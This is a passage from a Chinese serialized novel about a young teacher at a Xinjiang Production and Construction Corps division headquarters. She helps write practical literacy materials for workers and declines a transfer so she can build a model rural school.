舒染点点头:“只是个小教学点,算不上学校。” “那也很了不起!”小刘眼中闪着敬佩的光,“我去过畜牧连,条件太艰苦了。你能在那里坚持办学,真不容易。” 两人聊了一会儿,小刘突然压低声音:“听说陈干事也在畜牧连?他可是师部有名的冷面战神,没为难你吧?” 舒染愣了一下,随即明白“陈干事”指的是陈远疆。“没有,陈特派员很支持我们的工作。” 小刘似乎有些失望没听到什么八卦,目光不经意瞥见桌角那个打开的包裹,好奇地问了一句:“咦,卫生队那边特供的‘复方天山雪莲膏’?这可是紧俏东西,舒老师你真有门路。这药膏对大病后虚寒畏冷、关节酸痛特别管用,咱们这儿好多老同志都惦记呢,就是量太少难申请。” 舒染闻言一愣,顺着她的目光看去,这才注意到布包旁边还有一个不起眼的深褐色陶瓷罐子,罐口用油纸封得严严实实,上面没有任何标签。 她心下顿时明了,这绝非招待所配备,定是有人特意送来。 “哦,可能是哪位同志暂时放这儿的吧。”舒染面上不动声色,含糊地应了一句。 小刘似乎也意识到自己多嘴了,讪讪一笑,又闲扯了几句便告辞离开。 门一关上,舒染立刻拿起那个小陶罐,揭开油纸封口,那股清冽的药香更加浓郁了些,膏体呈深褐色,质地细腻。 她用手指沾了一点捻开,能感觉到其中细微的药草颗粒。她想起之前大病时许君君提过,高海拔雪线附近采摘的雪莲,辅以其他几味本地药材制成的药膏,对驱寒补气、缓解劳损有奇效,但因雪莲难采、制作繁琐,只在极小范围内供应,极为难得。 罐子底下压着一小张裁切整齐的报纸边角,上面有一行刚劲有力的笔迹:“师部昼夜温差大,注意添衣。雪莲膏早晚温水送服一匙。慎风寒,节劳碌。安全须知亦重要,尤其是辨识可疑物品与人员。” 没有署名,但无需署名。 他定然是担心她大病初愈的身体受不住,才想办法弄来了这特供的药膏。 舒染按照纸条上的嘱咐,用包裹里配好的药匙挑出一小匙药膏,就着搪瓷缸里的温水服下。 药膏入口微苦,回味却带着甘甜和清凉,一股暖意让奔波的疲惫也稍稍缓解了些。 夜深了,舒染躺在床上,却久久不能入睡。耳边仿佛又响起了吉普车的颠簸声,和那个小战士的话:“有人说他傻,放着舒服日子不过,非要去吃苦……” 在这一刻,舒染忽然有点理解了那个男人。也许他们是一种人。都不是选择轻松的道路,而是选择值得坚持的道路。 随着夜色的深重,师部安静下来,舒染闭上眼睛,终于进入了梦乡。明天,还有更多工作等着她呢。 第76章 第二天天刚蒙蒙亮, 舒染从睡梦中惊醒,一时间有些恍惚,还以为自己在畜牧连的地窝子里。直到看清招待所的白灰墙壁和玻璃窗户, 才反应过来自己身在何处。 她按照习惯,起床后先服了一小匙雪莲膏。药膏的清苦味在口中化开, 让她精神了不少。洗漱完毕后,她拿着搪瓷缸子去食堂打早饭。 师部的食堂比连队大了许多,打饭窗口排着几条整齐的队伍。舒染注意到这里伙食确实好一些, 早饭有玉米糊糊、白面和包谷面掺着的馍馍。一小碟咸菜,甚至还有一个鸡蛋。 “舒染同志,这里!”张明在不远处向她招手。他身边还站着几个人,都是教材编写组的成员。 舒染走过去, 大家给她让了个位置。一个戴眼镜的中年男子笑着问她:“舒老师, 在师部还习惯吗?比你们畜牧连条件好点吧?” “好很多了。”舒染老实回答, “至少有电灯, 不用点煤油灯。” 一个约莫三十岁左右的女同志接过话头:“我是三团的刘淑芳, 听说你们那儿自编的扫盲教材很实用, 今天可得好好向你请教。” 大家一边吃早饭一边聊着工作,舒染感受到一种不同于连队的氛围。这里的人们谈论的是全师范围的教育问题, 视野更开阔,但也更宏观。 早饭后, 编写组在教育科的一间办公室里开始了工作。 孙处长亲自来做了简短动员,强调这次编写的教材要“实用、易懂、接地气”。 舒染被分在基础扫盲小组, 负责编写最基础的识字部分。 她根据在畜牧连的经验, 建议从最实用的字词开始教起:“比如‘工分’、‘粮票’、‘姓名’这些,学员们马上能用上,学习积极性就高。” 刘淑芳赞同地点头:“有道理。我们团有些扫盲班从‘毛主席万岁’开始教, 虽然政治正确,但学员们学了用不上,很快就忘了。” 大家讨论得很热烈,不知不觉一上午就过去了。 上午的工作结束后,孙处长特意叫住舒染:“舒染同志,我记得你在畜牧连还办起了妇女扫盲班?” “是的,孙处长。家属们也有识字的需求,比如认票据、记账目这些。”舒染回答。 孙处长点点头:“很好。下午你抽空去一趟家属工厂,看看那边的扫盲情况,给我们提供点第一手资料。” 舒染心里一动,这是个了解师部更多情况的好机会。 中午回招待所休息时,她发现房间被打扫过了,窗台上那个小瓦盆里的薄荷草被细心浇过水,长势喜人。枕头上还放着一本《兵团教育通讯》,里面有几篇关于扫盲工作的报道被人细心地折了角。 舒染拿起杂志,发现扉页上有一行铅笔写的小字:“第7页有三团扫盲经验,或可参考。——陈” 她不禁微笑。这个男人,明明远在百里之外,却仿佛无处不在。 下午,舒染按照孙处长的指示,来到师部家属工厂。 这是一排简易工棚,几十名妇女正在里面缝纫、编织、制作各种日用品。 厂长是个四十多岁的中年妇女,姓赵,听说舒染的来意后热情地带她参观。 “咱们厂的职工大多是从老家农村随男人来的,识字不多。厂里也组织扫盲,但效果不太好。”赵厂长实话实说。 舒观察了一会儿,发现妇女们一边干活一边偷偷看她,眼神中既有好奇也有戒备。她想了想,没有直接提扫盲的事,而是走到一个正在缝纫的妇女旁边。 “大姐,你这针脚真密实,怎么学的啊?”舒染笑着搭话。 那妇女愣了一下,随即自豪地说:“俺娘教的,俺娘家是鲁绣之乡的。” “真厉害。”舒染真诚地赞叹,“我能试试吗?” 在妇女的指导下,舒染试着缝了几针,虽然笨拙但却拉近了距离。渐渐地,周围的妇女们都围了过来,七嘴八舌地指导她。 “舒老师,针不能这么拿……” “线要拉匀实了……” “哎呦,扎手了吧?快用嘴嘬嘬……” 气氛活跃起来后,舒染顺势问道:“大姐们,你们觉得学识字有用吗?” 一阵沉默后,一个年轻些的妇女小声说:“咋没用呢?上次领布票,俺就不认识字,少领了半尺,吃亏了。” 另一个妇女接话:“就是,记账也记不明白,老是错。” 舒染点点头:“那我教大家认布票上的字和记账的方法,怎么样?” 妇女们相互看看,都有些心动。赵厂长见状,立即说:“那太好了!舒老师,要不你现在就给大家上一课?” 舒染想了想:“这样吧,咱们就从布票开始学。谁有布票?拿出来咱们一起认认。” 很快,几张布票被递到舒染手中。她就在缝纫机台上,用炭块在废布头上写字,教妇女们认“棉布”、“帆布”、“尺寸”等字眼。 让人惊讶的是,这些平时记不住字的妇女,因为与实际需求相结合,学得出奇地快。不到一小时,大多数人都能认出布票上的关键信息了。 “舒老师,你明天还来吗?”下课时间到了,一个妇女期待地问。 舒染笑着点头:“来,明天咱们学记账的方法。” 回招待所的路上,舒染心里已经有了主意。教材编写不能脱离实际,她需要更多了解不同群体的需求。 晚饭时,她把这个想法告诉了张明。张明十分支持:“舒染同志,你这个思路很好。孙处长说了,编写组可以灵活安排时间,多下基层调研。” 于是,舒染制定了一个计划:每天上午参加编写组工作,下午去不同的单位调研——家属工厂、机修连、牧场、农田队…… 她要把兵团各个层面的扫盲需求都摸清楚,编出真正实用的教材。 回到招待所,舒染发现房间被打扫过了,床单铺得整整齐齐,桌上的材料也被人细心整理过。最让她惊讶的是,窗台上多了一个小瓦盆,里面栽着几株绿色的植物,看上去像是某种草药。 招待所管理员正好路过,见舒染盯着那盆植物看,便解释道:“哦,那是卫生队的小战士送来的,说是叫什么薄荷草,放屋里能驱蚊虫,提神醒脑。” 舒染心下明了,这肯定又是陈远疆的安排。他人不在师部,却总能通过各种方式关照到她。 下午的工作中,舒染更加投入了。 她把自己在畜牧连教学中的经验毫无保留地分享出来,还带来了学生们写的作业本给大家参考。 “看,这个孩子最初连笔都拿不稳,现在能写工整的汉字了。”舒染指着栓柱的作业本,不无自豪地说。 编写组的同志们传阅着那些用废报纸、烟盒纸写的作业,纷纷感叹基层教学的不易和成果的珍贵。 “舒染同志,你们在那么艰苦的条件下还能坚持办学,真是了不起。”教育科的一位老干事感慨道,“师部条件好,我们更应该把教材编写好,支持基层的工作。” 下班时,孙处长特意来找舒染:“舒染同志,明天我们要去师部直属学校听课调研,你准备一下,可以从基层角度给我们提提意见。” 舒染点头应下。等她回到招待所,发现枕头上放着一本旧杂志,是《人民教育》,里面有几篇文章被人细心地折了角,都是关于扫盲教学方法的。 她拿起杂志,发现扉页上有一行铅笔写的小字:“参考第35页农村扫盲经验,或可借鉴。” 第二天一早,编写组一行人来到师部直属学校调研。这是全师唯一一所完全小学,比畜牧连的启明小学规模大了许多,有十几间教室,几百名学生。 校长是个精干的中年女子,姓盛,短发,说话干脆利落。她带着大家参观校园,介绍教学情况。 舒染注意到,这里的教室虽然也是土坯房,但窗户宽大明亮,课桌椅整齐统一。最让她羡慕的是,每个教室都有一块真正的木制黑板,而不是她用的那种门板刷墨汁的替代品。 “我们有五位专职教师,都是师范学校毕业的。”盛校长自豪地介绍,“课程设置按照国家教学大纲,语文、算术、政治、体育、音乐都有。” 听课环节,舒染选择了一年级的语文课。 教师是个年轻的姑娘,讲课条理清晰,学生们跟着朗读课文,声音整齐响亮。一切都显得那么正规有序。 但舒染也注意到一些问题。 课堂上,老师主要采用灌输式教学,孩子们被动接受,很少有机会发言互动。教学内容也比较脱离实际,课文中都是“工厂”、“火车”这些边疆孩子们没见过的事物。 课后座谈时,盛校长问大家有什么意见。其他人都客气地表示称赞,只有舒染犹豫了一下,还是决定实话实说。 “盛校长,课堂教学很规范,但我有个建议不知是否恰当。”舒染谨慎地说,“课文内容是否可以考虑更贴近兵团孩子们的生活实际?比如咱们这里的牧场、农田、拖拉机,这些才是孩子们熟悉的事物。”—— 作者有话说:这段时间开学事务繁杂,加上作者君不争气的嗓子发炎要打针,可能更新的时间晚了一点,字数也没那么勤奋了[捂脸笑哭],还请读者家人们见谅啊~~[求求你了] 第77章 盛校长愣了一下, 显然没想到有人会提出批评意见。但她很快恢复笑容:“舒老师说得有道理。不过我们用的是全国□□材,不好随便改动啊。” “可以在教学中适当补充一些本地内容,”舒染建议道, “比如教‘羊’字时,可以讲讲兵团牧场的羊群;教‘耕’字时, 可以带孩子们看看拖拉机耕地。这样孩子们更容易理解,也更有兴趣学。” 教育科的张明点头赞同:“舒染同志的建议很好。我们正在编写的扫盲教材就注重实用性,直属学校也可以借鉴这个思路。” 盛校长若有所思:“确实, 有时候孩子们学得没劲,可能就是觉得课文离他们太远了。” 中午在学校食堂用餐时,舒染注意到一个现象:学生们按班级整齐排队打饭,吃饭时也很安静, 但几乎没有人说话交流, 气氛有些压抑。 她想起畜牧连的孩子们, 虽然条件艰苦, 但吃饭时总是叽叽喳喳说个不停, 分享彼此的见闻和快乐。那种活泼生机, 在这里似乎被束缚住了。 下午,编写组与直属学校的教师们座谈交流。舒染分享了畜牧连的教学经验, 特别是如何利用有限资源开展教学的方法。 “我们用石灰块当粉笔,用沙地练字, 用废纸装订作业本……”舒染讲着这些艰苦条件下的创新,发现那些师范毕业的教师们听得十分专注。 “舒老师, 你们没有教具, 怎么上算术课呢?”一个年轻教师好奇地问。 舒染笑了:“我们有天然教具啊!用小石子学计数,用红柳枝比长短,用脚步量距离。孩子们反而觉得这样学更有趣。” 座谈结束后, 几位教师围住舒染,继续请教各种问题。他们似乎对这些来自基层的土办法很感兴趣。 回去的路上,张明对舒染说:“你今天提的意见很中肯,盛校长后来私下跟我说,确实给了她很多启发。教育不能脱离实际,这点很重要。” 舒染望着车窗外掠过的白杨林,心中感慨万千。师部直属学校条件比较好,但却少了些畜牧连那种鲜活的生命力;而畜牧连虽然有活力,却又缺乏必要的资源和规范。或许理想的教育,应该是二者的结合。 晚上回到招待所,舒染发现房间里又多了一本书——《新疆常见植物图鉴》,书中夹着一枚胡杨树叶书签。她不用猜也知道是谁送的。 翻开书,她看到有关薄荷草的那一页被折了角,上面详细记载了其药用价值和栽培方法。 她推开窗户,晚风送来远处田地里作物的气息。师部的夜晚比畜牧连安静许多,没有风声呼啸,没有狗吠阵阵,只有偶尔传来的巡逻的脚步声。 舒染拿出信纸,开始给畜牧连的同志们写信。她告诉王大姐和李秀兰师部的情况,询问学校近况,还特意嘱咐她们注意身体,别太劳累。 写完后,她服下雪莲膏,感觉一天的疲劳渐渐消散。 窗外,一轮明月挂在天空,清辉正洒在窗台上的薄荷草上。 她想着,得把该学的东西都学好,带回畜牧连去。 一周时间很快过去,舒染已经适应了师部的生活节奏。每天上午,她在编写组与同志们讨论教材框架和内容;下午,则去各个单位调研,收集第一手资料。 她的调研笔记记得密密麻麻:机修连的职工需要认机械零件名称和说明书;牧工需要认牲畜疾病症状和药名;农田队的需要认种子、化肥标签…… 这些实地调研的经验,让舒染在编写组中的发言越来越有分量。 “我们不能用教城里孩子的方法教兵团职工。”在一次讨论会上,舒染大胆提出意见,“比如这个例句小明坐电车去上学,咱们这儿哪有电车?不如改成大壮赶马车去上工更贴切。” 编写组里一位从师范学院调来的老师不以为然:“教材应当规范统一,不能太土气。” 舒染不急不躁地回应:“李老师,教育首先要让学员听得懂、用得上。我在家属工厂试过,教‘布票’、‘尺寸’这些词,妇女们一学就会;但教‘电车’、‘电影院’,她们既没见过,也用不上,转眼就忘了。” 孙处长若有所思地点点头:“舒染同志说得有道理。我们的教材要立足兵团实际。” 会后,孙处长特意留下舒染:“舒染同志,你的基层经验很宝贵。这样吧,从下周开始,你负责带一个小组,专门编写实用扫盲模块。” 这个任命让舒染有些意外。编写组里资历比她老、学历比她高的大有人在,让她一个基层来的知青带队,恐怕有人不服。 果然,消息传开后,组里议论纷纷。有人公开质疑:“舒染同志确实有基层经验,但教材编写需要专业教育理论指导啊。” 舒染不争不辩,而是用实际行动说话。她带着小组同志下连队、进工厂,让每个人都亲身感受基层的实际情况。 她还别出心裁地组织了一次“教学体验日”,请编写组的同志们去教不同群体的学员。 结果,那些理论功底扎实的老师们在面对真正的文盲学员时,反而不知从何教起;而舒染却能用最朴素的方法,让学员很快掌握实用字词。 一次,舒染带组员去牧场调研时,正好遇到兽医给羊群打防疫针。她立即抓住机会,请兽医帮忙教大家认药瓶上的字和使用说明。 “这是‘青霉素’,这是‘剂量’,这是‘注射’……”兽医一边操作一边解释。 牧工们围拢过来,看得格外认真。一个老牧工感慨道:“要是早认得这些字,去年俺那十几只羊就不会病死了。” 回程的路上,原本对舒染最有意见的李老师主动说:“舒染同志,今天我受益匪浅啊。确实,教育不能脱离实际。” 舒染笑笑:“李老师,您的理论功底深厚,咱们结合起来,一定能编出好教材。” 就这样,舒染负责的实用扫盲模块也进展顺利,总结出了许多针对不同群体的教学方法。 一天,舒染抱着一摞刚整理好的调研资料穿过师部教育科的院子,正准备送去孙处长办公室,却在拐角处差点撞上两个人。 是张明和另一位教育科的干事老赵,两人正站在一株白杨树下低声交谈,似乎没注意到她的靠近。 “……孙处长真是这个意思?”老赵的声音带着几分惊讶。 张明的声音压得更低了些,但舒染还是捕捉到了几个关键词:“……亲口说的……难得的人才……想方设法留住……” 舒染下意识停住脚步,屏息凝神。 “但她是畜牧连的人,马连长能放?”老赵问道。 “所以才要想方设法嘛。”张明的声音里带着几分意味深长,“孙处长说了,教育科正缺这样有基层经验又会动脑子的人。你看她来的这半个月,提出的那些点子,哪个不实用?” 老赵咂咂嘴:“这倒也是。那本实用扫盲手册的初稿我看了,确实比咱们之前编的强不少。不过我看那姑娘心气挺高,未必愿意留下来。” “所以要想办法啊。待遇好一点,条件好一点,再让她带个项目……年轻人嘛,总有追求进步的心思。”张明顿了顿,“再说了,师部怎么说也比畜牧连强吧?正常人都知道怎么选。” 脚步声响起,似乎两人正要离开。舒染忙后退几步,假装刚从另一边走过来。 “张干事,赵干事。”她若无其事地打招呼,怀里那摞资料抱得稳稳的。 “哟,舒染同志啊。”张明脸上立刻堆起专业的笑容,“这是要去哪?” “给孙处长送材料。”舒染答道,目光不经意般扫过两人的表情。 老赵轻咳一声:“快去吧,孙处长刚才还问起你呢。” 舒染点点头,从两人身边走过。她能感觉到背后的目光,但始终没有回头。 走到孙处长办公室门口,敲响了门。心里却还在回想着刚才无意中听到的对话——原来上面已经在打算盘要留她了。 “请进。”里面传来孙处长沉稳的声音。 舒染推门而入。孙处长的办公室不大,陈设简单,一张旧办公桌,两把椅子,一个文件柜,墙上挂着兵团地图和毛主席像。孙处长正伏案批阅文件,见她进来,摘下老花镜,露出和蔼的笑容。 “舒染同志啊,来得正好。坐。”孙处长指了指对面的椅子。 舒染将材料放在桌上,依言坐下。 “孙处长,这是您要的调研材料汇总,还有实用扫盲模块的初稿。”她将材料轻轻推过去。 孙处长接过材料,却没有立即翻看,而是打量了舒染一会儿,才开口:“舒染同志,这半个月来,你的表现很出色啊。教材编写组反馈很好,说你提出的建议都很实用,特别是那个分群体扫盲的思路,很有创新性。” 舒染知道正题要来了,她谦逊地笑笑:“孙处长过奖了。我只是把基层的实际需求反映上来而已。” “不,不只是反映需求。”孙处长摆摆手,翻开那份实用扫盲模块初稿,“你看这里,针对牧工的教学方法,针对家属工厂女工的教学内容,都很有针对性。这不是简单的反映需求,这是有思考、有创新的。” 他合上材料,身体微微前倾:“舒染同志,师部教育科正需要你这样既有基层经验又有创新思维的人才。你有没有考虑过,留在师部工作?” 尽管早有心理准备,但亲耳听到孙处长这么说,舒染的心里还是很激动。说不心动是假的——师部的条件比畜牧连好太多,有电灯,有相对充足的物资,有更多学习和交流的机会。更重要的是,这意味着职业上的认可和提升。 但她马上想到了畜牧连:那些渴望知识的孩子们,刚刚起步的妇女扫盲班,破旧却充满生机的工具棚教室……还有王大姐、李秀兰、许君君…… “孙处长,我很感激您的认可。”舒染斟酌着词句,“但畜牧连的工作才刚刚起步,孩子们还需要我……” 孙处长似乎预料到她的反应,微微一笑:“我理解你对畜牧连的感情。但你要从更大的格局想问题。在师部,你的经验和能力可以惠及全师,而不仅仅是一个畜牧连。你看,”他拿起那份材料,“这套教材如果推广开来,能帮助多少兵团职工扫盲?这比你一个人在畜牧连的影响大得多。” 舒染不得不承认孙处长说得有道理。在师部平台更大,能发挥的作用也更大。而且说实话,谁不想生活条件好一点呢? 见她犹豫,孙处长又加了一把火:“教育科正在筹备一个全师扫盲推广项目,需要一个有基层经验的人牵头。如果你愿意留下来,这个项目可以由你负责。职称和待遇上,也会相应提高。” 舒染的心跳得更快了。负责全师的项目,这是多么难得的机会!但与此同时,她眼前浮现出阿迪力、阿依曼那些孩子们的面孔,想起他们第一次学会写自己名字时欣喜的表情。 “孙处长,我……”舒染深吸一口气,“我很感谢您的赏识,也知道在师部平台更大。但畜牧连的孩子们和妇女扫盲班都刚刚起步,我突然离开的话,工作可能会断层。能不能让我先回去把那边的工作交接好,培养个接替的人?” 孙处长沉吟片刻,点点头:“你这个考虑很负责任。这样吧,你先继续完成教材编写工作,同时物色一个能接替你的人选。等教材编写完成后,你再回畜牧连做交接,然后调来师部。如何?” 这个安排合情合理,舒染找不到拒绝的理由。她心里既有一丝窃喜,毕竟这是上级的认可和职业发展的机会,又有一丝愧疚,感觉自己像是抛弃了畜牧连的孩子们。 “好的,孙处长。我会认真考虑您的建议,并尽快物色接替人选。”舒染最终说道。 孙处长满意地笑了:“好,那就这么定了。你回去工作吧,有什么需要直接跟张明说。” 走出孙处长办公室,舒染的心情复杂极了。阳光照在师部整洁的院子里,几个工作人员匆匆走过,向她点头致意。这里的一切都显得那么有序安宁,与畜牧连的风沙和简陋形成鲜明对比。 她确实想要更好的工作环境,更大的发展平台,这是人之常情。但一想到要离开那些她一手教起来的孩子们,心里就堵得难受。 “舒老师,孙处长找你什么事啊?”张明不知从哪里冒出来,笑容可掬地问。 舒染回过神来,勉强笑笑:“就是问问教材编写的进度。” 张明意味深长地看她一眼:“哦,是吗?孙处长很赏识你啊,好好干。” 舒染点点头,心情复杂的向编写组办公室走去。 第78章 接下来的几天, 舒染瞧着和平时没什么两样,照旧一清早就到编写组那间办公室报到,照旧埋首在一桌摊开的资料和稿纸里。 别人讨论时, 她听得更仔细,问得也更具体。晌午吃饭, 她常常端着搪瓷缸子,一边啃着包谷馍,一边还跟不同桌的人打听各团各连扫盲碰上的稀奇古怪的难题, 拿个小本本不时记上两笔。 到了下班时间,招待所那间小屋的灯总是亮到很晚。她伏在木桌上把从畜牧连带来的旧笔记本摊开,又将这几日在师部收集的新纸片、记录的心得,一份份铺排好。 窗台上那盆薄荷草散发着清冽的气息。 她凝神想着, 笔尖在纸张上沙沙移动, 将启明小学怎样从无到有办起来, 妇女扫盲班怎么摸石头过河, 遇到了哪些困难, 又是怎样用土办法解决的, 一桩桩一件件,全都细细捋清楚。 她还试着画了几张表, 想把学生怎么进步、妇女们认得了多少字能派上什么用场,都弄得明明白白。 最后, 她另起几张纸,写下了心里翻腾了好些天的念头——如果不止步于畜牧连, 还能做点什么?她管这个叫“初步构想”, 写写停停,涂涂改改,写完了又仔细誊抄一遍。 厚厚一沓材料整理好了, 她用针线在边上粗粗地缝了几针,免得散乱。捏着这份笔记,她没直接去找孙处长,而是先拐去了宣传科。 找到杨振华时,他正对着墙上的宣传画稿比比划划。 舒染等了一会儿,才凑上前,声音放得轻缓:“杨干事,您这会儿忙吗?有个事儿想麻烦您。” 杨振华回过头,推了推眼镜,笑道:“舒染同志啊,什么事?你说。” 舒染把手里那沓手订的材料递过去,脸上带着点不好意思:“我胡乱整理了点儿在畜牧连干活的心得,还有几点不成熟的想法。您是搞宣传的,经多见广,笔头子也硬,能帮我瞅瞅不?主要怕这里头思路不清爽,或者犯了什么原则上的糊涂,那就不好了。就当是帮我看看文书格式,把把关。” 杨振华接过材料,说了声“好,我看看”,便坐到桌边翻看起来。 起初他只是随意浏览,但看着看着,神色就专注起来,不时往前翻几页,手指头在某几行字上点点。 看到最后那部分构想时,他眼睛明显亮了一下,语气里带着毫不掩饰的惊喜:“舒染同志!你这哪是简单的工作总结啊!这分明……分明就是一份很有价值的基层教育实践蓝图嘛!你看这里,‘以点带面’,‘重点扶持基层教学点’,‘师部指导和基层创新拧成一股绳’!这思路太清楚了,法子也实在,我看行得通!” 舒染苦笑一下,摆摆手:“杨干事,您可别夸了,什么蓝图不蓝图的,就是被畜牧连的实际困难逼出来的些土招数,上不得大台面。不瞒您说,” 她声音压低了些,透出点为难,“孙处长是看得起我,想让我留在师部。可我这心里……实在是放不下连里刚有点模样的那摊子。那些孩子,那些大姐大嫂,刚觉得识字有点用处,眼睛里头刚有点光,我要是这时候甩手走了,这……我狠不下这个心。但组织上的安排,我……” 话不用说完,杨振华立刻明白了她的处境和来意。 他沉吟了一下,手指在那份材料上轻轻敲了敲,语气变得认真起来:“我明白了。孙处长爱才,想调你上来,这没错,师部也确实需要你这样从下面上来、有实在经验的人。但你有这样的顾虑是正常的!基层刚点燃的火种,最怕的就是一阵风给吹灭了。” 他顿了顿,给出主意,“这样,你这材料写得挺好,我帮你再看看措辞格式。然后你自个儿直接拿去给孙处长,就照你现在想的,大胆汇报!我呢,也找合适的机会,从侧面反映一下,说明培养一个扎根基层的典型多么不容易,巩固好了,它的带动作用可比单纯调一个人上来大得多。现在最需要的不是调动核心的人,而是要给这样的的支持!” 舒染捏着那份用针线粗粗缝好的报告,站在孙处长办公室门外,敲响了那扇木门。 “请进。”里面传来孙处长沉稳的声音。 推开门,孙处长正戴着老花镜,伏在桌上批阅文件,听见动静抬起头,见是她,便指了指对面的椅子:“舒染同志啊,坐。有事?” “处长,您上次让我多调研,多思考,”舒染坐下,将那份厚厚的报告双手放在桌上,轻轻推过去,“我这几天结合在师部学的,还有在畜牧连干的,整理了一份总结,还有……还有一点不成熟的想法,想请您批评指正。” 孙处长“哦”了一声,放下笔,拿起报告。封面是舒染用稍硬的纸自己糊的,上面工工整整写着标题。他翻开封皮,里面是条理清晰的文字,还有手绘的表格,字迹一笔一划,能看出书写者的认真。 屋里很静,只有孙处长翻动纸张的沙沙声,和窗外偶尔传来的远处拖拉机的轰鸣。 舒染双手放在膝盖上,坐得笔直,眼睛时不时悄悄瞟一眼孙处长的表情,试图从那副老花镜后面看出点端倪。 时间好像过得特别慢。孙处长看得很仔细,有时在某一行停留片刻,有时手指无意识地敲一下桌面。看到后面那部分初步构想时,他忽然轻轻“啧”了一声,眉头微微皱起。 舒染的心一下子提到了嗓子眼。 只见孙处长拿起桌上的红色铅笔,在那页空白处划了一道杠。舒染的心提了起来,以为自己哪句话说错了。却见他又翻回前面一页,对照着看了看,接着拿起旁边的茶杯,喝了一口,继续往下看,那眉头却渐渐舒展开了。 终于,他合上报告,摘下老花镜,揉了揉鼻梁,目光落在舒染身上,看不出喜怒:“舒染同志,你的意思是……不愿意来师部工作?” 舒染挺直了背,手心又在冒汗,但话却说得清晰:“处长,我非常感激组织的信任。在师部这些天,我学到了很多,也更明白咱们兵团教育工作的意义。正因如此,我觉得……个人发展是小事,能把基层那点刚刚摸索出来的经验巩固好、发展好,才是大事。” 她顿了顿,目光恳切,“畜牧连的启明小学和扫盲班,现在就像刚破土的苗,看着弱,但很有希望。它是在实际困难里逼出来的试点,要是这时候我把根拔了换地方,这苗可能就蔫了,这点经验也就半途而废。我觉得,这太可惜了。” “所以呢?”孙处长手指点着那份报告,“你的想法是?” 舒染感觉喉咙有点干,但她还是把琢磨了无数遍的话说了出来:“处长,我想请求组织,能不能允许我回畜牧连,踏踏实实把那个点搞好,把它建成一个基层教育示范点?” 她语速加快了些:“同时,我可以兼任师部教育科的联络员或者特约调研员!这样,我既能扎在基层,把试点做实,又能及时把下面的情况和经验带上来,协助科里制定更贴合实际的政策和教材。师部有会议、培训,我保证随叫随到,绝不耽误。我觉得……这样或许能更好地发挥作用。” 说完,她屏住呼吸,看着孙处长。 孙处长没立刻说话,他又拿起那份报告,翻到构想部分,手指点着其中几行字,半晌,忽然笑了一下,抬头看她,目光里带着点审视,又有点了然:“定期组织基层教师来师部交流,推广试点经验……舒染同志,你这心思,不止是守着畜牧连那一亩三分地啊。你是想从畜牧连起步,撬动更多资源,干更大的事?” 舒染的心稍稍落下一点,知道孙处长明白了她的意图,脸上有点发热,老实承认:“处长,我只是觉得,一个好法子如果能成,就该让更多地方受益。但我得先回去,把它做实做漂亮了。我需要时间,也需要机会留在那儿。” 孙处长站起身,背着手在不算宽敞的办公室里踱了两步,他走到墙上那幅地图前,看了一会儿,突然转过身,一锤定音:“好!我看你这个思路,比单纯调一个人上来更有价值,更有用!就按你说的办!师部会正式下文,把你们那的小学列为重点基层教育示范点,该有的支持,都会考虑!你就给我搞出个样子来!同时,兼任教育科特约调研员,定期汇报!我会要求畜牧连全力配合你工作!” 他走到舒染面前,目光带着赏识:“舒染,这把担子不轻,甚至比你单纯在师部坐办公室要难得多!你给我拿出在底下那股劲儿来,把这个示范点,办成真正的样板!需要什么支持,打报告,直接找我!” 时间一天天过去,舒染在师部的工作越来越得心应手。她负责的实用扫盲模块已经初具雏形,得到了编写组的一致好评。 更让她高兴的是,她调研过的那些单位纷纷传来好消息:家属工厂的妇女们已经能认全各种票证;机修连的职工能看懂简单的说明书;牧工们也能辨认常见的兽药名称了…… 这些成果反过来又为教材编写提供了更多实例和支持。舒染别出心裁地提出,教材中可以加入一些兵团生活的插图,比如拖拉机、坎土曼、牧羊犬等,让学员更容易理解。 “这个主意好!”孙处长十分赞赏,“我让宣传科的同志配合你们,找会画画的来帮忙。” 让舒染意外的是,杨振华主动请缨来帮忙画插图。他的画功不错,很快就根据舒染的描述画出了一些生动形象的插图。 “舒染同志,你看这只牧羊犬像不像?”杨振华拿着刚画好的插图问。 舒染端详着画中威猛的牧羊犬,突然想起什么:“杨干事,你能不能画一个带着牧羊犬的牧民?最好能表现出牧羊犬帮助牧民守护羊群的场景。” 杨振华愣了一下,随即明白了舒染的用意:“好主意!这样既能教‘牧羊犬’这个词,又能进行爱国主义教育——守护集体财产嘛!” 两人相视而笑,合作越发默契。 一天下班后,杨振华又来找舒染:“舒染同志,宣传科新到了一批电影胶片,晚上在礼堂放映,一起去看看吧?” 舒染正要找借口推辞,一个声音从身后传来:“舒老师恐怕没空,她答应今晚帮我整理牧区调研资料。” 舒染惊讶地回头,看见陈远疆不知何时站在不远处,风尘仆仆,似乎刚出差回来。 杨振华愣了一下,随即笑道:“陈干事什么时候回来的?怎么也不提前说一声。” 陈远疆淡淡地说:“刚回来。师部有紧急会议。” 他的目光转向舒染,语气缓和了些,“舒老师,资料今晚能整理好吗?明天孙处长要用。” 舒染会意,连忙点头:“能,我马上就开始整理。” 杨振华看看两人,只好摊开手笑笑:“那你们忙,改天再看电影吧。” 等杨振华走远,舒染才松了口气:“陈特派员,谢谢你解围。” 陈远疆看着她:“在师部还习惯吗?” “挺好的,学到了很多东西。”舒染回答,突然想起什么,“对了,谢谢你送的雪莲膏和薄荷草,很管用。” 陈远疆微微点头:“戈壁风冷,注意身体。”他顿了顿,似乎在斟酌词句,“听说孙处长想留你在师部?” 舒染惊讶于他的消息灵通:“是的,但我没答应。” 陈远疆沉默片刻,说:“师部平台大,机会多。但从基层成长起来的干部,根基更扎实。” 这话说得含蓄,但舒染明白他的意思。 “我知道。”舒染轻声说,“畜牧连不是我的跳板,但我的能力也需要在更好的平台施展……总之我不仅仅是为自己。” 陈远疆的眼神突然亮了一下,但很快又恢复了平时的严肃:“我还要去开会,先走了。” 第79章 接下来的日子, 舒染更加专注于工作。她发现陈远疆虽然人在师部,但似乎格外忙碌,经常不见人影。偶尔遇见, 他也总是行色匆匆,最多点头致意。 为期一个月的时间很快过去, 教材编写工作接近尾声。舒染负责的模块最先完成,得到了孙处长的高度评价。 舒染离开师部的前一天下午。办公室里弥漫着下班前略显松弛的气氛,但同时又有一丝忙碌。 舒染拿着几张需要盖章的表格和一份孙处长批阅过的示范点建设初步方案, 找到了张明干事。其他几个干事也在各自忙着整理文件、装订材料。 “张干事,这些手续麻烦您帮我办一下,我明天一早就回畜牧连了。”舒染将材料递过去。 张明接过材料,一边翻看一边感叹:“小舒啊, 你是真舍得放下师部这电灯电话, 